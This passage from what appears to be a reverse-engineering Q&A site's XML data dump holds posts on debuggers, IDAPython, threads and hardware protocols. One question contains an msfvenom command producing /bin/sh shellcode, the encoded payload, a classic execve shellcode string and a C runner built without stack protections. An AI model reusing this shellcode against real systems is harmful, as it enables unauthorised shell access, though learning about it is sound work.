href=&quot;https://i.stack.imgur.com/OOJ8y.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OOJ8y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I know the addresses of these two variables and I want to check it in x64dbg. In x64dbg, I attached to the running process and it seems it's not the variables at the aforementioned addresses:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xRDqY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xRDqY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12047" LastActivityDate="2022-07-04T19:16:58.270" Title="How can I find my variables in the running process?" Tags="|c++|memory|local-variables|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20650" PostTypeId="1" CreationDate="2019-02-18T18:42:57.037" Score="1" ViewCount="561" Body="&lt;p&gt;I have a program linked against libcrypto.so. If i run the program in gdb i'll get the following error:&#xA;&quot;Program received signal SIGILL, Illegal instruction.&quot;&#xA;I researched a bit and found out that it is a problem of libcrypto and that i can ignore that signals using &quot;handle SIGILL nostop noprint&quot; before running. Works in gdb, but does not with a gdbserver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question:&#xA;How can i use &quot;handle SIGILL nostop noprint&quot; with a gdbserver? If i connect IDA to my gdbserver it always crash with the SIGILL, Illegal instruction error message. &lt;/p&gt;&#xA;" OwnerUserId="27496" LastEditorUserId="27496" LastEditDate="2019-02-18T18:55:30.143" LastActivityDate="2019-02-18T18:55:30.143" Title="How to use &quot;handle SIGILL nostop noprint&quot; with a gdbserver?" Tags="|ida|gdb|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20652" PostTypeId="1" CreationDate="2019-02-18T21:48:13.727" Score="2" ViewCount="62" Body="&lt;p&gt;I have an old piece of HP test gear from the 80's that HP no longer supports. I want to add in a feature and need to dump roms and figure things out to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I share my process and findings on a personal blog without legal issues?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a company no longer supports a product can I dump a rom and share it with the community? I physically own the hardware so I can be in possession of the rom I would imagine. If I don't share the entire rom can I copy sections of it to post to help clarify a post?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also applies to the old schematics in the manuals. Can I post screenshots or not??&lt;/p&gt;&#xA;" OwnerUserId="27498" LastEditorUserId="27498" LastEditDate="2019-02-18T22:53:07.057" LastActivityDate="2019-02-18T22:53:07.057" Title="Legality on sharing rom dumps on abandoned hardware" Tags="|disassembly|rom|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20653" PostTypeId="1" CreationDate="2019-02-19T01:34:06.210" Score="1" ViewCount="192" Body="&lt;p&gt;I'm writing an Idapython loader script to help reverse-engineer the firmware on an embedded system with a 68000 processor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I can't get a copy of the original C compiler used in order to build FLIRT signatures, but I would like to use Idapython to give IDA hints about some of the optimisations it's done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example - the compiler often does things like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOVEA.L   #sub_1234, a4&#xA;...&#xA;JSR       (a4)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The optimisation is, it's using an address register to hold the address of the function, which saves code space when one function is called several times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I can figure out how to search for these patterns in the code -- but how can I tell IDA that &quot;(a4)&quot; is really a reference to sub_1234?&lt;/p&gt;&#xA;" OwnerUserId="211" LastActivityDate="2019-02-21T17:29:43.617" Title="Idapython: adding links where a function address is loaded into a register" Tags="|idapython|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20654" PostTypeId="2" ParentId="3689" CreationDate="2019-02-19T03:21:25.127" Score="1" Body="&lt;p&gt;For me, just clicking&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Options - General - Analysis - Reanalyze program&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;button solved problem.&lt;/p&gt;&#xA;" OwnerUserId="27500" LastActivityDate="2019-02-19T03:21:25.127" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20655" PostTypeId="2" ParentId="20648" CreationDate="2019-02-19T08:40:36.790" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;Your &lt;code&gt;std::string&lt;/code&gt; is not a plain ascii string it is a structure (actually a class) so you cannot take the address and find the string.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;In your specific case since your string test's length is less than the threshold you are lucky you can see it in your screenshot look for &lt;strong&gt;74 65 73 74 as ascii&lt;/strong&gt; you will notice it is &lt;strong&gt;&amp;quot;test&amp;quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;It appears your &lt;code&gt;int i&lt;/code&gt; is visible&#xA;try looking at &lt;code&gt;0xa == 0n10&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;em&gt;Edit&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Your source slightly modified to show the results of above statements&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;&#xA;#include &amp;lt;string&amp;gt;&#xA;using namespace std;&#xA;int main(void)&#xA;{&#xA;    //small string will be embedded inside std::string class &#xA;    // you can see 74657374 (hex for &amp;quot;test&amp;quot;)&#xA;    string s1{ &amp;quot;test&amp;quot; };&#xA;    cout &amp;lt;&amp;lt; s1 &amp;lt;&amp;lt; endl;&#xA;    cout &amp;lt;&amp;lt; &amp;amp;s1 &amp;lt;&amp;lt; endl;&#xA;    printf(&amp;quot;%llx\n&amp;quot;, *(__int64 *)(&amp;amp;s1) );&#xA;    printf(&amp;quot;%p\n&amp;quot; , s1.c_str());&#xA;    printf(&amp;quot;%s\n&amp;quot; , s1.c_str());&#xA;    &#xA;    cout &amp;lt;&amp;lt; &amp;quot;\n=========================================================================\n&amp;quot; ;&#xA;    &#xA;    // big string a pointer will be present to the c_str member&#xA;    // you cannot see the string unless you dereference the pointer for c_str() member&#xA;    &#xA;    string s2 { &amp;quot;this is a very very very very very very biggy biggy biggy stringyyyyyy&amp;quot; };&#xA;    cout &amp;lt;&amp;lt; s2 &amp;lt;&amp;lt; endl;&#xA;    cout &amp;lt;&amp;lt; &amp;amp;s2 &amp;lt;&amp;lt; endl;&#xA;    printf(&amp;quot;%llx\n&amp;quot;, *(__int64 *)&amp;amp;s2 );&#xA;    printf(&amp;quot;%p\n&amp;quot; , s2.c_str());&#xA;    printf(&amp;quot;%s\n&amp;quot; , s2.c_str());&#xA;    &#xA;    &#xA;    return getchar();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Results&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;ogrish.exe&#xA;test&#xA;001AF7C8&#xA;eafc0074736574  &amp;lt;&amp;lt;&amp;lt;&amp;lt; see the hex embedded&#xA;001AF7C8   &amp;lt;&amp;lt; both &amp;amp;std::string and std::strin.c_str() are same&#xA;test  &amp;lt;&amp;lt; c_str()  &#xA;&#xA;=========================================================================&#xA;this is a very very very very very very biggy biggy biggy stringyyyyyy&#xA;001AF7E0   &amp;amp;std::string &#xA;1af7f000265cf0   &amp;lt;&amp;lt; address of std::string and c_str() are different&#xA;00265CF0   &amp;amp; string-&amp;gt;c_str()&#xA;this is a very very very very very very biggy biggy biggy stringyyyyyy  &amp;lt;&amp;lt; c_str()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and btw keep in mind if you attach to this console process all the code has already run and everything that is on stack can be  out of scope and contain bogus values you need to step through for checking things on debugger&#xA;not execute and attach.&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="15246" LastEditDate="2022-07-04T19:16:58.270" LastActivityDate="2022-07-04T19:16:58.270" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20656" PostTypeId="1" AcceptedAnswerId="20658" CreationDate="2019-02-19T08:48:41.893" Score="1" ViewCount="1474" Body="&lt;p&gt;I have generated an alphanumeric shellcode with this command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;msfvenom -a x86 --platform linux -p linux/x86/exec CMD=/bin/sh -e x86/alpha_mixed BufferRegister=ECX -f python&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am targeting a 32 bits x86 architecture on Linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the shell code (i've converted it into a string):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI0jTK68mIcbCVrHDmsSOyywSXfO2SsXgpe86OSRSY2NOyYs1Byxc8s0WpUPDo0b2I2NVOCCSXs0V7RsK9yq8Mk0AA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is a very basic c program which runs the shellcode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;#include &amp;lt;sys/types.h&amp;gt;&#xA;#include &amp;lt;unistd.h&amp;gt;&#xA;&#xA;typedef void (*shellcode_t)();&#xA;// unsigned char code[] = &quot;\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80&quot;;&#xA;unsigned char code[] = &quot;IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI0jTK68mIcbCVrHDmsSOyywSXfO2SsXgpe86OSRSY2NOyYs1Byxc8s0WpUPDo0b2I2NVOCCSXs0V7RsK9yq8Mk0AA&quot;;&#xA;&#xA;&#xA;int main (int argc, char * argv[])&#xA;{&#xA;  shellcode_t appel = (shellcode_t)code;&#xA;  appel();&#xA;&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is how i compile it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cc -Wall -m32 -z execstack -fno-stack-protector -O0 test.c -o test&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When i run the program i get a segfault.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note the classical shellcode i've commented in the c program works perfectly. So it is not a c program compilation issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="18590" LastActivityDate="2019-02-19T13:55:41.833" Title="alphanumeric shellcode" Tags="|shellcode|metasploit|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="20657" PostTypeId="1" AcceptedAnswerId="20682" CreationDate="2019-02-19T12:38:42.117" Score="2" ViewCount="1130" Body="&lt;p&gt;Over the IDA Gui it is possible to export a structure with dependencies to a header file. For example if I export a struct that has one member from type DWORD than the header file also contains &amp;quot;typedef unsigned int DWORD&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;I want to do a similar task with the python api.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;def get_member_type(struct, idx):&#xA;   member = ida_struct.get_member(struct, idx)&#xA;   tif = tinfo_t()&#xA;   ida_struct.get_member_tinfo(member, tif)&#xA;   return tif&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This function return the type of the struct members for example &amp;quot;DWORD&amp;quot; but how can I get the information that this is a unsigned int?&lt;/p&gt;&#xA;" OwnerUserId="27505" LastEditorUserId="33592" LastEditDate="2022-02-07T17:46:44.330" LastActivityDate="2022-02-07T17:46:44.330" Title="IDA Python get struct type with dependencies" Tags="|ida|python|" AnswerCount="2" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20658" PostTypeId="2" ParentId="20656" CreationDate="2019-02-19T13:55:41.833" Score="5" Body="&lt;p&gt;Alphanumeric shellcode expects the location of the shellcode to be stored in a register, since the usual technique of call/pop can't be performed with the limited character set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your example above this is set using BufferRegister=ECX, your C program doesn't take this into account though, which is why it crashes. Taking out the BufferRegister directive will give you a shellcode blob that determines the location manually, but isn't pure alphanumeric. This should run in your program though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative would be to use something that runs shellcode from a file, since these often have a jmp/call reg32, which you can then use with BufferRegister.&lt;/p&gt;&#xA;" OwnerUserId="12794" LastActivityDate="2019-02-19T13:55:41.833" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20661" PostTypeId="2" ParentId="20641" CreationDate="2019-02-19T17:10:42.597" Score="0" Body="&lt;p&gt;I cannot tell specifically what your problem is (as is often the case with RE).  Something I would recommend though is trying kernel debugging with Windbg.  It's excellent because it has far more capability than ollydbg, albeit with a steeper learning curve.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically you can have Windbg break on thread creation.  No thread can begin without going through the operating system, and windbg catches that.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: you are going to need to set up kernel debugging with Windbg which means you will need a VM.  You should probably be doing your dynamic analysis in a VM anyways...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SXE ct&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/controlling-exceptions-and-events&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/controlling-exceptions-and-events&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14227" LastActivityDate="2019-02-19T17:10:42.597" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20665" PostTypeId="1" CreationDate="2019-02-19T22:03:47.890" Score="1" ViewCount="48" Body="&lt;p&gt;CONTEXT: My first post in this stack. Absolute beginner at RE. Also generally a beginner at anything electronics. Please be kind and correct me instead of ridiculing me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GOAL: Replace a damaged controller board within a light fixture with a DIY controller board that provides most of the functionality of the original controller. (ALL original functionality is not needed.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTES ABOUT GROUNDING: This light fixture is positive-grounded, all grounds are tied to actual earth as well as to the positive output of the PSU. The small board on the right in the picture is an infrared board, and it's LT1791LTS has RE connected to ground (chip pin 3 on datasheet). The LT1791LTS on the LED Driver board does NOT have RE grounded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WORK ALREADY DONE: I have searched extensively trying to gain more information about the device and it's component boards, but have not found any technical info on them. The manufacturer does not disclose this info (duh), and they don't repair any of it they just replace boards - which are not sold cheap. So I have bashed my noob head against google for a long time, found datasheets for the chips, tried to ID the eensy weensy components on the boards despite the inane lack of utility of their markings... (can tell things are resistors/capcitors/etc but cant figure out values from markings) I have used my Extech brand multimeter (model 22-816) to identify voltages on the wires, and to identify voltages where they go through the regulators - and to trace out the relevant bits' connections.(the only test equipment I own).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THOUGHTS: In looking at the datasheets for the chips, it SEEMS to this absolute noob that i'm looking at a RS485 setup wired in full duplex with the controller acting as a master and the LED driver and the IR board actng as slaves. BUT - I don't know anywhere near enough about this to make any claims that it is so, or even that I actually understand well what I just wrote. Also, I'm now aware that I'll need to &quot;sniff&quot; the communications, but do not yet know enough to proceed to a purchase of this kit. Will do so once I know enough to use it without screwing up the mismatch of positive ground vs negative ground (desktop vs. fixture grounding being opposite).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;QUESTION: From the information in the posted picture, can anyone here narrow down  the 'possibility list' for which means and methods are being used to communicate between the controller board (top left item) and the LED Driver board (lower left item)? Not just &quot;it is RS485&quot;, but &quot;It's RS485 and it looks like it will probably use XXXXXX over that.&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, an explanation of what's happening here would be awesome but it is more important for me to just figure out how to talk to that LED Driver so ignore 'ideal' if need be. (Eg: why one chip on controller but a different chip on the two connected boards? Why would one connected board have RE grounded but the other doesn't? Etc)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More than happy to add images or info to this question as we go along - just tell me what's needed!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DATASHEETS IN SAME ORDER AS THEY APPEAR TOP TO BOTTOM ON PICTURE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.analog.com/media/en/technical-documentation/data-sheets/adm2582e_2587e.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.analog.com/media/en/technical-documentation/data-sheets/adm2582e_2587e.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.farnell.com/datasheets/681099.pdf?_ga=2.26682873.518865155.1550566744-570871691.1522878168&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.farnell.com/datasheets/681099.pdf?_ga=2.26682873.518865155.1550566744-570871691.1522878168&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ti.com/lit/ds/symlink/sn65als180.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.ti.com/lit/ds/symlink/sn65als180.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.analog.com/media/en/technical-documentation/data-sheets/178591fd.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.analog.com/media/en/technical-documentation/data-sheets/178591fd.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ti.com/lit/ds/symlink/iso7220a.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.ti.com/lit/ds/symlink/iso7220a.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ti.com/lit/ds/symlink/tms320f2808.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.ti.com/lit/ds/symlink/tms320f2808.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/g9Bgo.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/g9Bgo.jpg&quot; alt=&quot;PL1 Light Fixture Boards With Chip Info&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27513" LastEditorUserId="27513" LastEditDate="2019-02-24T20:48:17.983" LastActivityDate="2019-02-24T20:48:17.983" Title="Likely protocol determination by chip IDs and connections?" Tags="|protocol|communication|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20666" PostTypeId="2" ParentId="20418" CreationDate="2019-02-20T00:15:37.647" Score="1" Body="&lt;p&gt;If you want to find out statically, you have to inspect the call site to your function and see where the buffer argument comes from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may have to go back multiple layers until you either clearly see it's on the stack (if the address of a local memory area is passed in), or it comes from a call like &lt;code&gt;VirtualAlloc&lt;/code&gt;, &lt;code&gt;malloc&lt;/code&gt;, &lt;code&gt;new&lt;/code&gt;, &lt;code&gt;HeapAlloc&lt;/code&gt; (VirtualAlloc and HeapAlloc being Windows-specific APIs), in which case the memory is located on the heap.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2019-02-20T00:15:37.647" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20667" PostTypeId="2" ParentId="20653" CreationDate="2019-02-20T05:10:21.927" Score="0" Body="&lt;p&gt;IDA doesn't accept &quot;hints&quot; along those lines, but you can create the cross-references manually via script. If you know the address of the destination, you can add an out-going cross-reference from the source address to the destination using &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/ida_xref-module.html#add_cref&quot; rel=&quot;nofollow noreferrer&quot;&gt;add_cref&lt;/a&gt;. These will show up if you press ctrl-X at the destination, or X at the source. You can also add a comment at the call site with the target address, which will result in basically a &quot;hyperlink&quot; that you can double-click or press 'enter' with your cursor over.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2019-02-20T05:10:21.927" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20668" PostTypeId="2" ParentId="20641" CreationDate="2019-02-20T07:24:36.030" Score="3" Body="&lt;p&gt;you mean the thread doesn't run when you have single stepped out of the CreateThread()  call  ??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if yes then the Windows Scheduler hasn't yet found time to Schedule your Threads Code  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can confirm when the code is run by Setting  breakpoint on the LP_THREAD_ROUTINE   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Argument passed to CreateThread() probably be in &lt;strong&gt;R8D&lt;/strong&gt; in your screenshot i think    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the Threads Code Will run only when your existing thread (main ) has ceded control by Calling Any Of the  Wait Functions  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can verify that with some code like this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here you create 5 threads but since you waste time in the loop and do not cede control to Windows Scheduler none of your Thread Routine is Executed until the WaitForMsg Function is called and your main thread goes idle waiting &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#define MAXT 5&#xA;DWORD WINAPI ThFunc( LPVOID parm ) {&#xA;    printf(&quot;Thread No %p\n&quot; , parm);&#xA;    return 0;&#xA;}&#xA;&#xA;int main (void) {&#xA;    DWORD   Tid[MAXT]   = {0};&#xA;    HANDLE  Thand[MAXT] = {0};&#xA;    int     Data[MAXT+1]  = {0};&#xA;    for(int i =0; i &amp;lt; MAXT; i++) {&#xA;        Data[i] = i;&#xA;    }&#xA;    for(int i=0;i&amp;lt;MAXT;i++) {&#xA;        Thand[i] = CreateThread(NULL,0,ThFunc,(LPVOID)Data[i],0,&amp;amp;Tid[i]);        &#xA;        if(Thand[i] == NULL) { ExitProcess(0); } else {&#xA;            printf (&quot;wasting time not ceding control to ThreadRoutine\n&quot;);&#xA;            for(int j =0; j &amp;lt; 10; j++) {&#xA;                printf(&quot;%p\n&quot; , Thand[i]);&#xA;            }        &#xA;        }&#xA;    }&#xA;    WaitForMultipleObjects(MAXT, Thand, TRUE, INFINITE);&#xA;    for (int i = 0; i&amp;lt; MAXT;i++) {&#xA;        CloseHandle(Thand[i]);&#xA;    }   &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the results are below&#xA;you can see the Thread Routines are executed only after coming out of loop and waiting by the main thread&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cthread.exe&#xA;wasting time not ceding control to ThreadRoutine&#xA;0000001C,0000001C,0000001C,0000001C,0000001C,0000001C&#xA;0000001C,0000001C,0000001C,0000001C&#xA;wasting time not ceding control to ThreadRoutine&#xA;00000020,00000020,00000020,00000020,00000020,00000020&#xA;00000020,00000020.00000020,00000020&#xA;wasting time not ceding control to ThreadRoutine&#xA;00000024,00000024,00000024,00000024,00000024,00000024&#xA;00000024,00000024,00000024,00000024&#xA;wasting time not ceding control to ThreadRoutine&#xA;00000028,00000028,00000028,00000028,00000028,00000028&#xA;00000028,00000028,,00000028,00000028&#xA;wasting time not ceding control to ThreadRoutine&#xA;0000002C,0000002C,0000002C,0000002C,0000002C,0000002C&#xA;0000002C,0000002C,0000002C,0000002C,Thread No 00000000&#xA;Thread No 00000001&#xA;Thread No 00000002&#xA;Thread No 00000003&#xA;Thread No 00000004&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-02-20T07:24:36.030" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20669" PostTypeId="2" ParentId="20648" CreationDate="2019-02-20T08:09:53.540" Score="1" Body="&lt;p&gt;Answer of blabb is correct, I will just add some more information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are looking at wrong window of x64 for searching values. As you can see in your picture content of this window (CPU) is automaticly trying to disassemble data in memory as code. If you want to see values it is better to look up adresses in dump window (bottom left) or in stack window (bottom right).&lt;/p&gt;&#xA;" OwnerUserId="25138" LastActivityDate="2019-02-20T08:09:53.540" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20670" PostTypeId="1" AcceptedAnswerId="20690" CreationDate="2019-02-20T12:39:06.967" Score="0" ViewCount="745" Body="&lt;p&gt;I am trying to add another button into windows form using dnSpy. Is it possible to add another?&lt;a href=&quot;https://i.stack.imgur.com/EehrI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EehrI.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the end result be like this one.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/qpqLs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qpqLs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be highly appreciated.Thanks&lt;/p&gt;&#xA;" OwnerUserId="27517" LastEditorUserId="27517" LastEditDate="2019-03-10T16:30:59.607" LastActivityDate="2019-03-10T16:30:59.607" Title="What methods exist for adding new windows form controls into compiled assembly using dnSpy?" Tags="|c#|visual-basic|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20671" PostTypeId="1" AcceptedAnswerId="20678" CreationDate="2019-02-20T20:29:28.510" Score="0" ViewCount="550" Body="&lt;p&gt;I'm investigating the glitch attacks scenario and in particular, I read about the &lt;em&gt;Nand Glitching&lt;/em&gt; with an example &lt;a href=&quot;https://www.youtube.com/watch?v=16-9BNDYxjY&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. During my steps into reverse engineering a home router - you can read my steps &lt;a href=&quot;https://blog.kartone.ninja/2019/02/07/reverse-engineering-the-router-technicolor-tg582n/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; - I was wondering if this attack is applicable not only to NAND memory but also to the classic SPI Flash memory, like the one you can read in the aforementioned post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case it's possible, do you have any resource where I can study from? Also, what PINs need to be shortcircuited to try the attack?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="22655" LastEditorUserId="22655" LastEditDate="2019-02-21T10:59:14.980" LastActivityDate="2019-02-25T08:31:07.230" Title="Glitch attack on a SPI flash eeprom" Tags="|hardware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20672" PostTypeId="1" CreationDate="2019-02-20T21:14:15.247" Score="1" ViewCount="126" Body="&lt;p&gt;I was experimenting with idea of decompiling a PowerShell cmdlet using reflection. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I got some basics seem to work, how do I resolve the value in OperandField, for example ldfld cmd in this case if decompiled correctly may look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ldfld      string[] Microsoft.PowerShell.Commands.GetAclCommand::path&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where as currently I am just displaying as &quot;ldfld&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is parsed in this section of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{ $_ -eq &quot;InlineBrTarget&quot; -or&#xA;                  $_ -eq &quot;InlineField&quot; -or&#xA;                  $_ -eq &quot;InlineI&quot; -or&#xA;                  $_ -eq &quot;InlineSig&quot; -or&#xA;                  $_ -eq &quot;InlineString&quot; -or&#xA;                  $_ -eq &quot;InlineTok&quot; -or&#xA;                  $_ -eq &quot;InlineType&quot; -or &#xA;                  $_ -eq &quot;ShortInlineR&quot; }&#xA;                {&#xA;                    $count = [BitConverter]::ToInt32($Ilbytes,$offset+1)&#xA;                    $offset += 4&#xA;                }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The full script here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# command to decompile&#xA;$cmd = &quot;Get-Acl&quot;&#xA;&#xA;$cmdInfo = Get-Command -CommandType Cmdlet -Name $cmd&#xA;&#xA;$methods = $cmdInfo.ImplementingType.UnderlyingSystemType.GetMethods()&#xA;&#xA;$opCodeDictionary = @{}&#xA;ForEach ($field in [System.Reflection.Emit.OpCodes].GetFields())&#xA;{&#xA;    $fieldValue = $field.GetValue($null)&#xA;    $opCodeDictionary.Add($fieldValue.Value,$fieldValue)&#xA;}&#xA;ForEach ($method in 